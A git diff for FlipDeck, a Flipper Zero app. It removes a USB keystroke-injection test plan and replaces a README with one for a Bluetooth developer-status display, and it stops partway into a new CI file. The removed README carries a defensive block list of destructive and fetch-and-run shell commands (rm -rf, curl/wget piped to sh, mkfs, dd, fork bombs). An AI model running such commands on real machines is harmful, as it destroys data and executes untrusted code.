-- Any test that sends commands into shells, terminals, production apps, cloud consoles, password fields, or admin prompts. - -Use a plain text editor as the host target. Not Terminal. Not PowerShell. Not a browser address bar. Humanity has suffered enough. - -## Repo assumptions - -FlipDeck is built as an external Flipper app with this app identity: - -- App ID: `flipdeck` -- App name: `FlipDeck` -- Category: `Tools` -- Expected app file: `dist/flipdeck.fap` -- Expected installed app path on Flipper: `/ext/apps/Tools/flipdeck.fap` -- Expected data directory: `/ext/apps_data/flipdeck/` -- Expected profiles directory: `/ext/apps_data/flipdeck/profiles/` -- Expected snippets directory: `/ext/apps_data/flipdeck/snippets/` -- Expected settings file: `/ext/apps_data/flipdeck/settings.json` - -## Required hardware and software - -### Hardware - -- Flipper Zero. -- Flipper SD card inserted and working. -- USB-C data cable. Charge-only cables are a classic little prank from the hardware gods, so verify the cable supports data. -- Test host computer running macOS, Windows, or Linux. - -### Software - -- Python 3.11 or newer. -- `pip`. -- `ufbt`. -- qFlipper, optional but useful for copying files and confirming the device is detected. -- A plain text editor on the host computer. - -## Safety rules for every test run - -1. Test only on a computer you own or are authorized to use. -2. Keep the focused host app as a plain text editor. -3. Do not test in a shell, terminal, browser, password prompt, admin prompt, or production app. -4. Do not store credentials, tokens, secrets, destructive commands, or personal data in test profiles. -5. Keep commands visibly harmless, such as `echo FlipDeck test`, `git status`, or typed comments. -6. Disconnect the Flipper immediately if it sends unexpected input. -7. Record failures before retrying so the bug does not evaporate into folklore. - -## Phase 1: prepare the local environment - -1. Clone the repo if needed: - - ```sh - git clone https://github.com/mohabbis/flipdeck.git - cd flipdeck - ``` - -2. Confirm the expected project files exist: - - ```sh - test -f application.fam - test -d src - test -d assets - ``` - -3. Create and activate a Python virtual environment: - - ```sh - python3 -m venv .venv - . .venv/bin/activate - ``` - -4. Upgrade packaging tools: - - ```sh - python -m pip install --upgrade pip setuptools wheel - ``` - -5. Install `ufbt`: - - ```sh - python -m pip install --upgrade ufbt - ``` - -6. Confirm `ufbt` is available: - - ```sh - ufbt --help - ``` - -Expected result: - -- `ufbt --help` prints command usage. -- No Python import or executable-not-found errors appear. - -## Phase 2: clean build with ufbt - -1. Remove previous build output: - - ```sh - rm -rf dist build .ufbt - ``` - -2. Build the app: - - ```sh - ufbt - ``` - -3. Confirm the `.fap` exists: - - ```sh - test -f dist/flipdeck.fap - ls -lh dist/flipdeck.fap - ``` - -Expected result: - -- Build completes without compiler errors. -- `dist/flipdeck.fap` exists. -- The file size is non-zero. - -Failure notes: - -- If `ufbt` fails while downloading or resolving the SDK, retry once on a stable network. -- If compilation fails, capture the first compiler error and the source file path. Do not chase every downstream error like a raccoon in a server room. - -## Phase 3: connect and detect the Flipper - -1. Connect the Flipper Zero over USB. -2. Unlock the Flipper if needed. -3. Confirm the Flipper is visible to the host. - -Optional qFlipper check: - -1. Open qFlipper. -2. Confirm the device appears. -3. Confirm the SD card browser opens. - -Optional CLI check: - -```sh -ufbt cli -``` - -Expected result: - -- The Flipper is detected by qFlipper or `ufbt cli`. -- The SD card is accessible. - -If detection fails: - -1. Try another USB port. -2. Try another USB-C data cable. -3. Restart qFlipper. -4. Reboot the Flipper. -5. Confirm the SD card is inserted and mounted. - -## Phase 4: install the app file - -Use either Path A or Path B. - -### Path A: install or launch with ufbt - -Use this path when the local `ufbt` setup can talk to the connected Flipper. - -1. Build and launch: - - ```sh - ufbt launch - ``` - -2. Watch the Flipper screen. -3. Confirm FlipDeck opens or is transferred and launched. - -Expected result: - -- The app launches on the Flipper, or `ufbt` reports a clear transfer/launch result. - -If `ufbt launch` is unavailable or unreliable for the local setup, use Path B. The point is to test FlipDeck, not to perform a spiritual ritual around one command. - -### Path B: copy `.fap` manually - -1. Open qFlipper. -2. Open the SD card browser. -3. Navigate to: - - ```text - /ext/apps/Tools/ - ``` - -4. Copy the built app file: - - ```text - dist/flipdeck.fap - ``` - - to: - - ```text - /ext/apps/Tools/flipdeck.fap - ``` - -5. Safely close the SD browser or eject if using direct SD mounting. -6. On the Flipper, go to: - - ```text - Apps -> Tools - ``` - -7. Confirm `FlipDeck` appears in the list. - -Expected result: - -- `FlipDeck` appears under Tools. -- Opening it does not crash the device. - -## Phase 5: stage the required SD card data - -Create the app data directory on the Flipper SD card: - -```text -/ext/apps_data/flipdeck/ -``` - -Inside it, create: - -```text -/ext/apps_data/flipdeck/settings.json -/ext/apps_data/flipdeck/profiles/ -/ext/apps_data/flipdeck/snippets/ -/ext/apps_data/flipdeck/logs/ -``` - -Minimum settings file: - -```json -{ - "send_delay_ms": 30, - "confirm_before_send": true, - "theme": "default" -} -``` - -Minimum safe test profile: - -```json -{ - "name": "Device Test", - "id": "device_test", - "description": "Safe on-device validation profile", - "commands": [ - { - "label": "Type harmless line", - "type": "text", - "value": "FlipDeck device test OK\n", - "confirmation_required": true - }, - { - "label": "Type comment", - "type": "text", - "value": "# FlipDeck safe comment test\n", - "confirmation_required": true - }, - { - "label": "Press Enter", - "type": "key", - "value": "ENTER", - "confirmation_required": true - }, - { - "label": "Select All", - "type": "key_combo", - "value": "CTRL+A", - "confirmation_required": true - } - ] -} -``` - -Save it as: - -```text -/ext/apps_data/flipdeck/profiles/device_test.json -``` - -Expected result: - -- The Flipper SD card contains the expected `apps_data/flipdeck` structure. -- `device_test.json` is valid JSON. -- The profile uses only harmless text and editor-safe key actions. - -## Phase 6: first app launch on device - -1. Disconnect and reconnect the Flipper if the SD card was modified externally. -2. On the Flipper, open: - - ```text - Apps -> Tools -> FlipDeck - ``` - -3. Observe the initial screen. -4. Navigate the profile list. -5. Select `Device Test`. - -Expected result: - -- FlipDeck launches without a crash. -- The app reads `/ext/apps_data/flipdeck/profiles/device_test.json`. -- The `Device Test` profile appears by name. -- The command labels appear correctly. -- Button navigation works. - -Record: - -- Firmware version. -- Build date or commit SHA tested. -- Whether the profile loaded on first launch. -- Any missing directory or parsing error shown on device. - -## Phase 7: USB HID safe execution test - -1. On the host computer, open a plain text editor. -2. Create a blank document. -3. Click inside the document so it has focus. -4. Connect the Flipper over USB if not already connected. -5. On the Flipper, open FlipDeck. -6. Open the `Device Test` profile. -7. Select `Type harmless line`. -8. Confirm the send action on the Flipper. -9. Watch the text editor. - -Expected result: - -The host text editor receives: - -```text -FlipDeck device test OK -``` - -Acceptance criteria: - -- Nothing is sent before explicit confirmation. -- Text appears only in the focused editor. -- Newline behavior works. -- The app remains responsive after sending. - -Repeat for: - -- `Type comment` -- `Press Enter` -- `Select All` - -For `Select All`, use a scratch text document only. Confirm that the text becomes selected. Do not press Delete afterward unless testing editor behavior intentionally. - -## Phase 8: confirmation and cancellation behavior - -For each command in the test profile: - -1. Select the command. -2. When confirmation appears, cancel or go back. -3. Confirm that no input is sent to the host. -4. Select the same command again. -5. Confirm it. -6. Confirm that input is sent exactly once. - -Expected result: - -- Cancel means cancel. A shocking standard, but a useful one. -- OK means one send, not repeated sends. -- Back navigation returns to the previous menu without sending. - -## Phase 9: profile parsing checks - -Create these additional profiles one at a time and confirm the app handles them safely. - -### Empty command list - -Path: - -```text -/ext/apps_data/flipdeck/profiles/empty.json -``` - -Content: - -```json -{ - "name": "Empty", - "id": "empty", - "commands": [] -} -``` - -Expected result: - -- App does not crash. -- App shows an empty state or a safe no-command state. - -### Invalid JSON - -Path: - -```text -/ext/apps_data/flipdeck/profiles/bad_json.json -``` - -Content: - -```json -{ - "name": "Bad JSON", - "id": "bad_json", - "commands": [ -``` - -Expected result: - -- App does not crash. -- Invalid profile is skipped or shown as an error. -- Other valid profiles still load. - -### Unsupported command type - -Path: - -```text -/ext/apps_data/flipdeck/profiles/unsupported_type.json -``` - -Content: - -```json -{ - "name": "Unsupported Type", - "id": "unsupported_type", - "commands": [ - { - "label": "Unsupported", - "type": "magic", - "value": "nope", - "confirmation_required": true - } - ] -} -``` - -Expected result: - -- App does not crash. -- Unsupported command is blocked, skipped, or shown as unsupported. -- No USB input is sent for unsupported command types. - -## Phase 10: missing path checks - -Run these checks with the app closed, then relaunch FlipDeck each time. - -### Missing profiles directory - -1. Rename: - - ```text - /ext/apps_data/flipdeck/profiles/ - ``` - - to: - - ```text - /ext/apps_data/flipdeck/profiles_backup/ - ``` - -2. Launch FlipDeck. - -Expected result: - -- App does not crash. -- App shows a clear missing-profile or empty state. - -Restore the directory before continuing. - -### Missing settings file - -1. Rename: - - ```text - /ext/apps_data/flipdeck/settings.json - ``` - - to: - - ```text - /ext/apps_data/flipdeck/settings_backup.json - ``` - -2. Launch FlipDeck. - -Expected result: - -- App does not crash. -- App uses defaults or shows a safe settings warning. - -Restore the file before continuing. - -## Phase 11: persistence and relaunch checks - -1. Close FlipDeck. -2. Reopen FlipDeck. -3. Confirm profiles still appear. -4. Power-cycle the Flipper. -5. Reopen FlipDeck. -6. Confirm profiles still appear. -7. Send the harmless line again into a text editor. - -Expected result: - -- Profile loading survives app relaunch. -- Profile loading survives device reboot. -- USB HID still works after reboot. - -## Phase 12: release regression checklist - -Before treating a `.fap` as release-ready, run this checklist: - -- [ ] `ufbt` builds cleanly from a fresh checkout. -- [ ] `dist/flipdeck.fap` is produced. -- [ ] `.fap` installs to `/ext/apps/Tools/flipdeck.fap`. -- [ ] FlipDeck appears under `Apps -> Tools`. -- [ ] App launches without crashing. -- [ ] `/ext/apps_data/flipdeck/profiles/device_test.json` loads. -- [ ] Profile list displays expected profile names. -- [ ] Command list displays expected command labels. -- [ ] Text command sends only after confirmation. -- [ ] Key command sends only after confirmation. -- [ ] Key combo sends only after confirmation. -- [ ] Cancel/back sends nothing. -- [ ] Invalid JSON does not crash the app. -- [ ] Empty profile does not crash the app. -- [ ] Unsupported command type sends nothing. -- [ ] Missing profiles directory does not crash the app. -- [ ] Missing settings file does not crash the app. -- [ ] App remains responsive after at least 10 command sends. -- [ ] Device can exit the app cleanly. - -## Suggested test matrix - -| Area | Test | Expected result | Status | -| --- | --- | --- | --- | -| Build | `ufbt` from clean checkout | `dist/flipdeck.fap` exists | Not run | -| Install | Copy `.fap` to Tools | App appears under Tools | Not run | -| Launch | Open app on Flipper | No crash | Not run | -| SD read | Load `device_test.json` | Profile appears | Not run | -| Text send | Send harmless line | Text appears in editor | Not run | -| Key send | Send Enter | Editor receives Enter | Not run | -| Combo send | Send CTRL+A | Editor selects text | Not run | -| Cancel | Cancel confirmation | No host input | Not run | -| Invalid JSON | Load malformed profile | No crash | Not run | -| Missing paths | Remove profiles/settings temporarily | No crash | Not run | -| Relaunch | Reboot and reopen | Profiles still load | Not run | - -## Bug report template - -Use this format when a device test fails: - -```text -## FlipDeck device test failure - -Commit tested: -Firmware version: -ufbt version: -Install path used: ufbt launch / qFlipper / direct SD copy -Host OS: -USB cable verified as data cable: yes/no - -### Failing phase - -Phase number: -Step number: - -### Expected behavior - - -### Actual behavior - - -### Reproduction steps - -1. -2. -3. - -### Device screen text or behavior - - -### Host app used for HID test - - -### Notes - -``` - -## Pass criteria - -A build passes the on-device `ufbt` test path when: - -1. The app builds locally with `ufbt`. -2. The `.fap` installs or launches on a real Flipper Zero. -3. The app opens from `Apps -> Tools -> FlipDeck`. -4. The app reads profiles from `/ext/apps_data/flipdeck/profiles/`. -5. Commands are visible before execution. -6. Commands require explicit confirmation. -7. Safe text, key, and key combo commands work in a plain text editor. -8. Cancel/back sends no USB input. -9. Bad or missing profile data does not crash the app. -10. The app exits cleanly. - -If all ten are true, the on-device path is healthy enough for the next release candidate. If any fail, fix that before adding features. Future-you deserves fewer mysteries. \ No newline at end of file diff --git a/README.md b/README.md index f6d4b53..c7e5dc4 100644 --- a/README.md +++ b/README.md @@ -1,375 +1,127 @@ -# FlipDeck +# FlipDeck Mission Control -**A USB Command Deck for Flipper Zero** — Turn your Flipper into a safe, configurable USB keyboard for developers and power users. +**Your Mac's development environment, on your Flipper Zero.** -[![License](https://img.shields.io/github/license/mohabbis/flipdeck)](LICENSE) -[![Platform](https://img.shields.io/badge/platform-Flipper%20Zero-blue)](https://flipperzero.one) +FlipDeck is a Mac app plus a Flipper Zero app. The Mac watches what matters: +projects and their Git state, dev servers, coding agents, deployments. The +Flipper shows it, so you can walk away from your desk, glance at it, and see +what's running, what failed, and what's waiting for you. A few vetted actions +(Open on Mac, Open localhost, Open logs, Stop server) run on the Mac at the +press of a button. -## Why FlipDeck? +The Mac does all the work. The Flipper gets a small, normalized state snapshot +over Bluetooth LE. It can never run commands on the Mac, only ask for actions +the Mac put on its screen. -FlipDeck transforms your Flipper Zero into a programmable command deck. Store frequently-used commands, snippets, and shortcuts on your SD card, then send them to any connected computer over USB — no custom firmware or development boards required. - -**Perfect for:** -- Git workflow automation -- Dev environment shortcuts -- Terminal snippet library -- Presentation remote control -- VSCode/Vim command palette - -## Features - -- ✅ **Profile Storage** — Save command profiles on the SD card -- ✅ **USB HID Keyboard** — Send text, key presses, and shortcuts -- ✅ **Favorites + quick-send** — Pin actions; long-press OK to skip confirm -- ✅ **NFC tag triggers** — Bind a tag to an action's confirm screen -- ✅ **Sub-GHz RF triggers** — RX-only 433MHz remote bind/fire (never transmits) -- ✅ **WiFi Dev Board UART** — Optional `wifi_uart` command target -- ✅ **Safe Mode** — Confirmation before sending; critical patterns blocked -- ✅ **Settings** — Configurable delays, confirm, and USB auto-check - -## Installation for Flipper Zero users - -FlipDeck installs selected profiles to the Flipper Zero SD card in two ways. Both paths create the same on-device files; they only differ in how the files get onto the SD card. - -### Path A: direct install with Chrome or Edge - -Chrome and Edge support WebSerial, so the FlipDeck web installer can talk to the Flipper CLI directly. - -1. Plug in your Flipper Zero with the SD card inserted. -2. Open the FlipDeck web app in Chrome or Edge. -3. Select the profiles you want to install. -4. Review the browser safety check. Critical matches are blocked before anything is written. -5. Click **Connect Flipper & Stage Pack**. -6. Pick your Flipper in the browser's OS-level device picker. -7. Click **Stage N profiles to Flipper**. -8. On the Flipper: **Apps → Tools → FlipDeck**, pick a profile, then press **OK**. - -Notes: - -- FlipDeck cannot select the Flipper automatically. The browser and OS control the device picker, because apparently letting websites silently grab USB devices would be frowned upon by civilization. -- Direct install writes to the mounted SD path: `/ext/apps_data/flipdeck/`. -- The installer creates `/ext/apps_data/flipdeck/profiles/` and `/ext/apps_data/flipdeck/snippets/` if needed. -- If the **Connect Flipper** button is missing, your browser probably does not support WebSerial. Use Path B. - -### Path B: ZIP + qFlipper, any browser - -This works in any browser by downloading an install ZIP that mirrors the SD card layout. - -1. Select the profiles you want to install. -2. Review the browser safety check. Critical matches are blocked before ZIP creation. -3. Click **Download ZIP**. -4. Extract the ZIP. -5. Open qFlipper's SD card browser. -6. Drag the extracted `apps_data/` folder onto the SD card root. -7. Merge or replace if prompted. -8. On the Flipper: **Apps → Tools → FlipDeck**, pick a profile, then press **OK**. - -The ZIP contains `apps_data/` at its root. Dragging that folder onto the SD card root produces `/ext/apps_data/flipdeck/` on the Flipper. - -### What gets written - -Final on-device layout: - -```text -/ext/apps_data/flipdeck/ -├── settings.json -├── profiles/ -│ └── .json -└── snippets/ ``` - -ZIP layout before copying: - -```text -apps_data/ -└── flipdeck/ - ├── settings.json - ├── profiles/ - │ └── .json - └── snippets/ +FLIPDECK ● PROJECTS ● FLIPDECK ● +───────────────── ───────────────── ───────────────── +! 1 Attention flipdeck ! ● main +Mac ● interlockd ● Git Clean ✓ +Projects 4 website * ○ Dev :3000 ● +Agents 1 Deploy Live ✓ +Services 3 Open on Mac > ``` -Use `/ext/apps_data/...` when referring to the Flipper's mounted SD path. Use `apps_data/...` when referring to the folder inside the ZIP. This distinction exists because path naming was apparently not dramatic enough already. +## What it does today (Phase 1) -### Safety gate +| Area | Detected from | Reported | +|---|---|---| +| **Projects** | Folders you choose (e.g. `~/Developer`), scanned up to 3 levels deep, skipping `node_modules`, build output, etc. | Name, path, branch, clean/dirty counts, ahead/behind, last commit, remote (credentials stripped), framework, runtime, package manager | +| **Dev servers** | `lsof` listening TCP ports ≥ 1024 on processes you own that are a known dev runtime (Node, Bun, Deno, Python, Ruby, Docker, …) or run from inside a project | Port(s), process, PID, framework (Vite, Next.js, Django, …), project, uptime | +| **Builds & tests** | `ps` (vitest, jest, pytest, cargo/swift/go test, next/vite build, tsc --watch, docker compose, …) | Running, project, elapsed | +| **Agents** | `ps`: Claude Code and Codex | Running, elapsed, project. **Not** success/failure or "waiting for input": the process table can't tell, so FlipDeck says "finished" and doesn't guess. | +| **Vercel** | `.vercel/project.json` (from `vercel link`) plus a token in the Keychain | Deployments: started / live / failed / canceled, logs link | +| **Machine** | Mach, sysctl, IOKit, Network.framework | CPU, memory, battery, network, uptime | -Before anything is staged to the Flipper or packaged into a ZIP, FlipDeck screens the selected profiles in the browser. +Everything becomes a normalized **event** (`server.started`, `agent.exited`, +`git.changed`, `deployment.failed`, …) with a severity (`info`, `success`, +`warning`, `error`, `action_required`). A deterministic rules table decides +where each event goes: Activity only, or also a Flipper alert (vibrate), or +also a Mac notification. For example, a failed deployment goes everywhere and +a successful one goes to Activity. -The browser safety check lives in: +## Install -```text -web/src/lib/safety-check.ts -``` +**Mac app** (macOS 14+, Xcode 15+ command-line tools): -It uses the shared rule set in: - -```text -safety-rules.json +```sh +cd mac +scripts/build-app.sh # → mac/build/FlipDeck.app +open build/FlipDeck.app ``` -If a profile matches a critical safety pattern, installation is blocked for both direct install and ZIP download. - -See [`docs/security-model.md`](docs/security-model.md) for the broader enforcement model. +Then in **Settings**: add your project folders, pick your editor, and +optionally paste a Vercel token (stored in the Keychain). -### Deploying the web installer on Vercel +**Flipper app:** -The installer is a Next.js app in `web/`. - -Set these Vercel options: - -```text -Root directory: web -Build command: npm run build -Output directory: .next +```sh +pip install ufbt +ufbt # → dist/flipdeck.fap +ufbt launch # with the Flipper connected over USB ``` -## Getting Started - -### Creating Profiles - -Profiles are stored as JSON files in `/ext/apps_data/flipdeck/profiles/` on the Flipper SD card. Default profiles include: +Or copy `dist/flipdeck.fap` to `/ext/apps/Tools/` on the SD card. -| Category | Location | -|----------|----------| -| Git | `profiles/git.json` | -| Node.js | `profiles/node.json` | -| Python | `profiles/python.json` | -| Docker | `profiles/docker.json` | -| System | `profiles/system.json` | -| Snippets | `profiles/snippets.json` | -| AWS | `profiles/aws.json` | -| VSCode | `profiles/vscode.json` | -| Presentation | `profiles/presentation.json` | +**Pairing:** open FlipDeck on the Flipper, then on the Mac. The Mac finds the +Flipper (it advertises as `FlipDeck `). On first connection macOS asks +for a PIN, so enter the one shown on the Flipper. FlipDeck uses its own BLE profile +and bonding keys, so it doesn't disturb the Flipper mobile app's pairing. The +phone app works normally again once you quit FlipDeck. -### Profile JSON Format +## Repository -Profiles use a **commands** array with explicit action types. This is the canonical v2 format. Older profiles using `actions`/`confirm` are still read and migrated automatically. - -```json -{ - "name": "Node", - "id": "node", - "description": "Node.js development commands", - "commands": [ - { - "label": "Run dev server", - "type": "text", - "value": "npm run dev\n", - "confirmation_required": true - }, - { - "label": "Run tests", - "type": "text", - "value": "npm test\n", - "confirmation_required": true - } - ] -} ``` - -#### Action Types - -| Type | Description | Example | -|------|-------------|---------| -| `text` | Sends text string | `"npm run dev\n"` | -| `key` | Presses a single key | `"RIGHT"`, `"ENTER"`, `"ESCAPE"` | -| `key_combo` | Modifier + key combination | `"CTRL+C"`, `"SHIFT+F5"` | - -#### Example Profiles - -**Git Profile:** - -```json -{ - "name": "Git", - "id": "git", - "commands": [ - {"label": "Git Status", "type": "text", "value": "git status\n"}, - {"label": "Git Push", "type": "text", "value": "git push origin\n"} - ] -} +mac/ Swift package: FlipDeckCore (platform-independent engine), + FlipDeckMacPlatform (CoreBluetooth, Keychain, IOKit, AppKit), + FlipDeckApp (SwiftUI), flipdeck-headless (CLI) +src/, application.fam Flipper Zero app (C, uFBT) +docs/protocol.md FDP/1 wire protocol, the contract between the two +docs/AUDIT.md audit of the pre-pivot codebase and what was kept or removed +ARCHITECTURE.md architecture, key decisions, phased plan +ci/ proposed GitHub workflows (need a maintainer to install) +web/, desktop_helper/, sd_card/ legacy keystroke-deck installer (see docs/AUDIT.md) ``` -**VSCode Shortcuts:** - -```json -{ - "name": "VSCode", - "id": "vscode", - "commands": [ - {"label": "Command Palette", "type": "key_combo", "value": "CTRL+SHIFT+P"}, - {"label": "Terminal", "type": "key_combo", "value": "CTRL+`"} - ] -} -``` - -### Using FlipDeck - -1. **Browse** categories with UP/DOWN buttons. -2. **Select** a category, such as Git, Node, or Python. -3. **Browse** actions within the category. -4. **Press OK** to send, or confirm first if required. -5. **Press MENU** for Settings. - -### SD Card Layout - -On the Flipper, the SD card is mounted under `/ext`, so the app reads from `/ext/apps_data/flipdeck/`. - -```text -/ext/apps_data/flipdeck/ -├── profiles/ -│ ├── git.json # Git commands -│ ├── node.json # Node.js commands -│ ├── python.json # Python commands -│ ├── docker.json # Docker commands -│ ├── system.json # System utilities -│ ├── snippets.json # Code templates -│ ├── aws.json # AWS CLI commands -│ ├── vscode.json # VSCode shortcuts -│ └── presentation.json # Presentation remote -├── snippets/ # Text snippet templates -│ ├── typescript.txt # TS code templates -│ └── go.txt # Go code templates -├── nfc_tags.json # NFC tag → action bindings (created on first bind) -├── subghz_remotes.json # Sub-GHz remote → action bindings (created on first bind) -├── logs/ # Session logs -└── settings.json # User preferences -``` - -Repository seed files live under `sd_card/apps_data/flipdeck/`, without the `/ext` prefix, because `/ext` only exists on the Flipper. - -### Command Format - -Each command supports three types: - -| Field | Type | Description | -|-------|------|-------------| -| `label` | string | Display name on Flipper | -| `type` | enum | `text`, `key`, or `key_combo` | -| `value` | string | The command/data to send | -| `confirmation_required` | bool | Require confirmation before sending | -| `target` | enum | `usb_hid` by default, or `wifi_uart` | - -## Safety - -FlipDeck is designed with safety as a priority: - -- ⚠️ **No stealth payloads** — All commands are visible before sending. -- ⚠️ **No automatic execution** — Requires explicit confirmation by default. -- ⚠️ **No credential storage** — The Flipper never stores GitHub tokens or passwords. -- ⚠️ **No destructive defaults** — Example commands are safe. -- ⚠️ **Blocked dangerous commands** — Destructive patterns are rejected outright; risky-but-common ones are flagged instead of blocked. - -The full rule set lives in [`safety-rules.json`](safety-rules.json) at the repo root and is shared across the web installer, desktop helper, and Flipper app. - -**Blocked (critical):** `rm -rf`, real `curl`/`wget … | sh`/`bash` pipes, `mkfs`, `dd if=`, fork bombs, raw disk redirects such as `> /dev/sd*`. - -**Flagged but allowed (warning):** `sudo`, `chmod 777`, `chown root`, and credential-looking assignments such as `PASSWORD=`, `TOKEN=`, `API_KEY=`, `SECRET=`, and `PRIVATE_KEY=`. - -**Always review your profiles in a text editor before storing them in FlipDeck.** - ## Development -### Prerequisites - -- Flipper Zero device -- SD card, 8GB or larger -- Computer with USB keyboard support - -### Building - -FlipDeck uses the uFBT build system. To compile: - -```bash -git clone https://github.com/mohabbis/flipdeck.git -cd flipdeck -fbt -``` - -### Project Structure - -```text -flipdeck/ -├── CMakeLists.txt # uFBT build configuration -├── assets/ # Icons and resources -├── desktop_helper/ # Companion desktop app -│ ├── package.json -│ ├── tsconfig.json -│ └── src/ -│ └── index.ts # CLI tool for profile management -├── sd_card/ # Seed SD card content -│ └── apps_data/flipdeck/ -│ ├── profiles/ # JSON command profiles -│ ├── snippets/ # Text snippet templates -│ ├── logs/ # Session logs -│ └── settings.json # User preferences -├── src/ # Flipper app source -│ ├── flipdeck_app.c # Main application logic -│ ├── flipdeck_app.h -│ ├── flipdeck_ui.c # UI (browser, favorites, NFC/Sub-GHz scan, confirm) -│ ├── flipdeck_ui.h -│ ├── profile_manager.c # Profiles, favorites, NFC + Sub-GHz mappings -│ ├── profile_manager.h -│ ├── usb_hid.c # USB HID communication -│ ├── usb_hid.h -│ ├── uart_bridge.c # UART bridge to the WiFi Dev Board -│ ├── uart_bridge.h -│ ├── nfc_bridge.c # NFC tag scan bridge -│ ├── nfc_bridge.h -│ ├── subghz_bridge.c # Sub-GHz RX-only remote scan bridge -│ ├── subghz_bridge.h -│ └── settings.c # Settings management -├── web/ # Next.js web installer -├── docs/ -│ ├── flight_manual.md # Safety and usage guide -│ ├── installer-flow.md # Web Serial / ZIP installer walkthrough -│ ├── nfc_trigger_spec.md # NFC tag trigger design -│ ├── subghz_trigger_spec.md # Sub-GHz remote trigger design -│ ├── security-model.md # Safety rules and confirmation model -│ └── ROADMAP.md # Development roadmap -└── README.md -``` - -## Desktop Helper +```sh +# Mac core: builds and tests anywhere Swift runs (Linux too) +cd mac && swift test +swift run flipdeck-headless --root ~/Developer --once --frames # see what the engine sees -The `desktop_helper/` directory contains a companion Node.js/TypeScript CLI for: +# Flipper protocol + state: host tests (ASan/UBSan, shared golden vectors) +make -C src/tests/host run -- Creating, validating, and auditing profiles -- Previewing how a profile renders on the Flipper -- Migrating legacy `actions` profiles to the v2 `commands` format -- Importing/exporting profiles and syncing them via GitHub Gist - -```bash -cd desktop_helper -npm install -npm start +# Flipper app against real firmware headers, without the uFBT SDK download +scripts/check_flipper_sdk.sh ``` -## Roadmap - -See [docs/ROADMAP.md](docs/ROADMAP.md) for planned features. +`flipdeck-headless --frames` prints the exact FDP/1 frames a Flipper would +receive, which is the fastest way to debug detection on a real machine. -### Planned Features +## Status and known gaps -- [ ] Custom profile creation from Flipper UI -- [ ] Profile import/export via SD card -- [ ] Presentation remote mode -- [ ] Desktop companion app for live profile sync -- [ ] Momentum firmware integration, optional +Be clear about what has and hasn't been proven: -## Contributing +- **Verified in CI-like conditions:** the Swift core (71 tests, including real + `git` repos, real listening sockets and processes, an end-to-end engine run, and + the Swift session talking to the Flipper's C state machine over pipes); the C + protocol/state code (153 checks under sanitizers); the Flipper app type-checks + clean against current `flipperzero-firmware` headers, and a full uFBT build and + link passes against Momentum's SDK. +- **Not yet verified:** the SwiftUI/CoreBluetooth/Keychain code compiles only on + macOS, and runs in the `mac-macos` job in `ci/test.yml` once that's installed. + Nothing has run on a real Flipper or over real Bluetooth yet. Pairing, + flow-control behavior under load, and reconnect timing need a hardware pass. +- **By design, not available:** agent success/failure/waiting states, and test + pass/fail. These need a cooperating source (Phase 2: a local event-ingest socket + that Claude Code hooks and test wrappers can report to) rather than guessing + from process lifetimes. -See [CONTRIBUTING.md](CONTRIBUTING.md) for development guidelines. +See `ARCHITECTURE.md` → Phases for what comes next. ## License -This project is licensed under the MIT License. See [LICENSE](LICENSE) for details. - -## Disclaimer - -FlipDeck is an open-source project for educational and productivity purposes. The developers are not responsible for any misuse of this software. Always use caution when sending commands to connected computers. - ---- - -Made with ❤️ for the Flipper Zero community. -**Safely hacking, one keypress at a time.** +MIT, see [LICENSE](LICENSE). diff --git a/application.fam b/application.fam index b1d180b..aae0a4e 100644 --- a/application.fam +++ b/application.fam @@ -3,41 +3,17 @@ App( name="FlipDeck", apptype=FlipperAppType.EXTERNAL, entry_point="flipdeck_app", - stack_size=4096, + stack_size=4 * 1024, fap_category="Tools", fap_icon="assets/icon.bmp", - fap_icon_assets="assets", + fap_version="0.1", + fap_description="Mission control for your Mac's development environment, over Bluetooth", + fap_author="FlipDeck", sources=[ - "src/flipdeck_app.c", - "src/flipdeck_ui.c", - "src/profile_manager.c", - "src/uart_bridge.c", - "src/usb_hid.c", - "src/settings.c", - "src/nfc_bridge.c", - "src/subghz_bridge.c", + "src/fd_proto.c", + "src/fd_state.c", + "src/fd_ble.c", + "src/fd_ui.c", + "src/flipdeck.c", ], ) -# No `requires=[...]` needed for NFC: checked against -# applications/main/nfc/application.fam in flipperdevices/flipperzero-firmware -# — `requires` is for app-to-app plugin dependencies (e.g. a card-parser -# PLUGIN requiring the NFC *app*), not for linking against the NFC *library*. -# nfc_scanner.h/nfc_poller.h/nfc_device.h are part of the standard external-app -# API surface, same as gui.h/storage.h. -# -# Sub-GHz linkage — genuinely uncertain, more so than NFC, flagged honestly: -# subghz_bridge.c deliberately calls furi_hal_subghz_* (the same HAL tier as -# furi_hal_usb_hid.h, which this app already uses via usb_hid.c with no -# special manifest entry) plus standalone lib/subghz/{environment,receiver, -# subghz_worker,protocols/base,subghz_protocol_registry}.h — NOT the newer -# subghz_devices_* abstraction the real firmware's own Sub-GHz app -# (applications/main/subghz/application.fam) uses, which declares -# `requires=["region"], fap_libs=["assets", "hwdrivers"]` and pulls in the -# ELF plugin-loader subsystem for pluggable external CC1101 support — real -# complexity this app deliberately avoids by targeting only the internal -# radio directly. So this is closer to NFC's "no special entry" case than -# to the official Sub-GHz app's case, but this could NOT be confirmed by an -# actual link/build — no fbt/ufbt toolchain is available in this -# environment (SDK download blocked by network policy). If `fbt`/`ufbt -# build` fails to link/load with unresolved furi_hal_subghz_*/subghz_* -# symbols, this is the first place to check. diff --git a/ci/README.md b/ci/README.md new file mode 100644 index 0000000..8bbdf33 --- /dev/null +++ b/ci/README.md @@ -0,0 +1,24 @@ +# Proposed CI workflows + +These files are meant for `.github/workflows/`. The session that wrote them +couldn't push workflow files (its GitHub token lacks the `workflow` scope), so +a maintainer has to install them: + +```sh +cp ci/test.yml .github/workflows/test.yml +cp ci/build-fap.yml .github/workflows/build-fap.yml +git add .github/workflows && git commit -m "CI: build and test the Mac app and Flipper app" +``` + +Then delete this directory. + +| Job | What it proves | +|---|---| +| `mac-macos` | The whole Swift package compiles on macOS, including the SwiftUI app, the CoreBluetooth transport, Keychain, and IOKit, which can't compile on Linux. Runs all tests and builds `FlipDeck.app` as an artifact. | +| `mac-core-linux` | The platform-independent core builds and passes its tests on Linux. | +| `flipper-host` | The C protocol and state code pass their tests under ASan/UBSan, including the golden vectors shared with Swift. | +| `flipper-fap` | `flipdeck.fap` builds with uFBT against the official release SDK, on every PR. | + +Until they're installed, the existing workflows still cover `flipper-host` +(same command), and `build-fap.yml` builds the new `.fap` on master. Nothing +builds or tests the Swift code in CI until then. diff --git a/ci/build-fap.yml b/ci/build-fap.yml new file mode 100644 index 0000000..ce33f75 --- /dev/null +++ 